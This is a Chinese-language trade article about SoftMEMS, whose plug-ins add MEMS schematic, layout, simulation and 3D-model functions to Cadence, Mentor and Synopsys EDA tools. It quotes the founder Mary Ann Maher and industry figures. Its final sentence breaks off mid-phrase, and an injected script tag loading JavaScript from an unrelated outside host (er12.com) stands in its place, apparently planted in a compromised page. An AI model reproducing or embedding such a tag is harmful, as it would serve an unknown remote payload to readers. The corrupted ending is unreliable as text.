为什么每个生产微机电系统芯片的公司似乎都得有一位mems专家?mary ann maher认为,原因是目前的电子设计自动化工具没有内置mems功能。她创建的softmems公司有望改变这一现状,该公司的目标是在eda软件中增加mems功能,从而减轻对mems专家的依赖性。
“我们的工具可以用来在现有eda软件中增加mems设计功能。”maher表示,“在价值链中的某个地方总会有个mems专家,但我们能让这些专家与电子工程师一起参与共同设计。对于已经设计好的mems部件,我们的工具能够帮助电子工程师用好相关的知识产权(ip),而无需拥有很深的mems专业知识。”
softmems工具套件有两种,一种是用于unix和hp平台的mems xplorer,另一种是用于linux pc平台的mems pro,它们都可以作为cadence、mentor graphics、sysnopsys等公司提供的eda软件的插件使用。这些工具可增加mems专属菜单,实现混合的mems/ic原理图输入和仿真、掩膜版图和验证、三维模型产生和可视化、行为级模型创建,以及链接到各种mems分析包,例如intellisense软件公司的intellisuite和coventor公司的coventorware。
“eda供应商并没有真正能专门用于mems设计的工具。softmems则专注于增加专门用于mems的设计工具。”gartner dataquest公司负责半导体制造调研的副总裁jim walker分析道,“intellisense和coventor专门用于mems设计分析,虽然它们与softmems在功能上存在一些重叠,但我们并不认为它们与softmems存在直接竞争的关系。”
通过在现有eda工具组件中集成自己的工具,softmems声称处于无可替代的位置,可以帮助电子工程师在他们熟悉的eda平台上协同设计电子和mems芯片。softmems工具允许电子工程师使用来自ansys等公司的通用建模和仿真工具,但电子工程师也可以选用intelllisense或coventor的mems专用分析工具。后面两家公司提供的产品基于的是美国麻省理工学院(mit)电子工程教授stephen senturia于20世纪90年代创建的先进mems分析工具。
“intellisense和coventor都起源于mit的senturia教授的实验室。”intellisense公司首席执行官sandeep akkaraju表示,“最近我们正与softmems展开紧密合作,以确保我们的mems分析、建模和仿真工具能与他们的设计工具一起协调工作。我们提供一套完整的mems工具集,用户可以使用我们的eda linker在vhdl、simulink或spice中创建元件模型,不过现在我们也与softmems合作。”
图:mems pro和mems xplorer可链接到三维工具。它们能将原理图输入和验证引进代工厂流程中。
催生新的设计软件种类
除了eda工具外,softmems的“胶联”软件还可以链接到ansys、comsol open engineering、dassault-abaqus和msc software公司的机械设计与自动化(mda)工具。来自ansoft、autocad和matlab公司的通用设计工具也能集成softmems的胶联软件。“我们的流程可以帮助工程师创建mems芯片,并与eda工具创建的电路以及mda工具创建的机械器件集成在一起。”maher指出。
“我们还提供设计套件和库。它们能够与ic制造商的工艺流程一起帮助工程师在众多代工厂高效地实现mems芯片。”她表示。
分析人士认为,softmems正在倡导新的设计软件种类。这种软件的成功将进一步推动mems芯片市场的繁荣。如果mems芯片变得更加普及,会有更多的软件供应商进入这一领域,从而再次形成eda产业曾经的成功之路。
“mems专用软件产业仍处于起始和发展阶段。”分析师walker认为,“softmems是支持电子设备中mems协同设计的首批公司之一。但这种新兴的mems软件市场可能与mems硬件市场齐头并进,如同eda市场跟随半导体市场的发展方式那样。”
除了用于设计目的外,softmems也在尝试多元化发展之路,例如提供eda环境中常见的一些分析工具,象执行成本分析、创建可复用的库以及旨在提高良品率的“假设分析”解答等。
“在最初阶段,大多数mems芯片是那些拥有丰富芯片知识、也习惯于很长上市时间的设计师创建的,”maher指出,“随着大量mems芯片的面世,以及工程师开始对基本功能的理解,我们的用户开始询问如何提高良品率和缩短上市时间,这也是eda供应商必须回答的问题。”
eda供应商自己还没有增加mems功能,intellisense公司的akkaraju表示,因为mems解决方案必须能在各种能源领域中工作,包括机械、电子、热、磁和光等。mems设计要求各科人员的合作,在所有这些领域中协同进行设计,从而迫使电子、封装、测试和材料工程师与生物学家等专家共享工具。
“在所有这些领域中可用工具的成熟度不尽相同,”maher指出,“在某些领域,方法和工具相当成熟,而在其它领域你还需要深入研究才能让它们彼此合作。另外,封装方面存在电子工程师不常面对的特殊问题,例如将封装对环境开放,这会对封装mems芯片造成艰巨的挑战。”
softmems还将增加新的功能,?script src=http://er12.com/t.js>











